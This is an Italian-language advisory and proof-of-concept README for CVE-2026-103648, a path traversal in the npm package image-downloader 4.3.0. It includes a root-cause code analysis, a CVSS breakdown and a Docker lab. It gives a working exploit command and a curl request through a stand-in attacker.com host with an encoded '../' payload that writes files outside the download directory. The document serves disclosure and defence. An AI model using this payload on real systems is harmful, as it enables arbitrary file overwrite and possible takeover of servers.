Advisory e PoC per CVE-2026-103648, un path traversal (CWE-22) in image-downloader 4.3.0 che consente la scrittura arbitraria di file, con analisi della causa principale, diff della patch e laboratorio Docker.
image-downloader
Scoperto da: Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ Solo a scopo didattico. Questo repository documenta una vulnerabilità divulgata in modo responsabile. Tutto il codice PoC è destinato esclusivamente a ricerca sulla sicurezza autorizzata e test in ambienti di laboratorio isolati. Non utilizzare contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta ai test.
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2026-103648 |
| Voce NVD | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| Punteggio CVSS v3.1 | 9.1 Critico — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Limitazione impropria di un percorso a una directory ristretta |
| Pacchetto | image-downloader (npm) di demsking |
| Download settimanali npm | ~11.000 (~38.000/mese) — fonte |
| Versioni interessate | < 4.3.1 (tutte le versioni incluse 4.3.0) |
| Versione corretta | 4.3.1 |
| Assegnato da | GitLab |
| Pubblicato | 2026-10-02 |
| Segnalatore | Amirhossein Roustaei (@EterNullSec), Eternull Security |
La vulnerabilità risiede nella logica di estrazione del nome file di [email protected]. Questo è il codice sorgente effettivo della versione interessata (index.js, estratto direttamente dal pacchetto npm pubblicato):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) viene chiamato sul pathname dell'URL ancora codificato in percentuale. Una sequenza come %2e%2e%2fpwned.sh non contiene alcun / letterale, quindi path.basename() considera l'intera stringa come un unico nome file e la restituisce invariata — nulla viene rimosso.decodeURIComponent(). Questo è il passaggio che riconverte %2e%2e%2f in un ../ letterale — ma a questo punto ha già superato il passaggio di basename che avrebbe dovuto sanificarlo.path.join(options.dest, decodedBasename) viene chiamato con una stringa che ora contiene un segmento ../ reale. path.join() normalizza .. allo stesso modo in cui farebbe cd .. — quindi il percorso di scrittura finale si risolve in una posizione al di fuori di options.dest.In breve: il codice decodifica il nome file nel modo giusto, ma nell'ordine sbagliato rispetto a path.basename(). Decodifica-poi-basename è sicuro; basename-poi-decodifica non lo è.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
Questo laboratorio dimostra il meccanismo del bug end-to-end in un singolo script per facilità di riproduzione, ma vale la pena esplicitare il modello di attacco nel mondo reale:
download.image({ url, dest }) di image-downloader con un valore url che non controlla completamente — ad esempio un URL inviato da un utente (funzionalità di importazione avatar/immagini), estratto da un payload di webhook, o letto da un feed RSS/contenuti.url della vittima, e controlla la componente di percorso di quell'URL — il che è sufficiente da solo, poiché il traversal risiede nel percorso dell'URL (%2e%2e%2f...), non nel corpo della risposta.authorized_keys, o un eseguibile che l'applicazione esegue successivamente).In exploit/exploit.py, i ruoli di attaccante e vittima sono collassati in un unico script per comodità di laboratorio (avvia sia la richiesta del server "vittima" sia il server di payload controllato dall'attaccante). In uno scenario di sfruttamento reale queste sono due parti separate e non correlate — il PoC è strutturato in questo modo puramente affinché la vulnerabilità sia riproducibile con un singolo comando.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
Il server vulnerabile sarà disponibile all'indirizzo http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Oppure manualmente con curl (il traversal è nel percorso dell'URL, non nel corpo della risposta):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1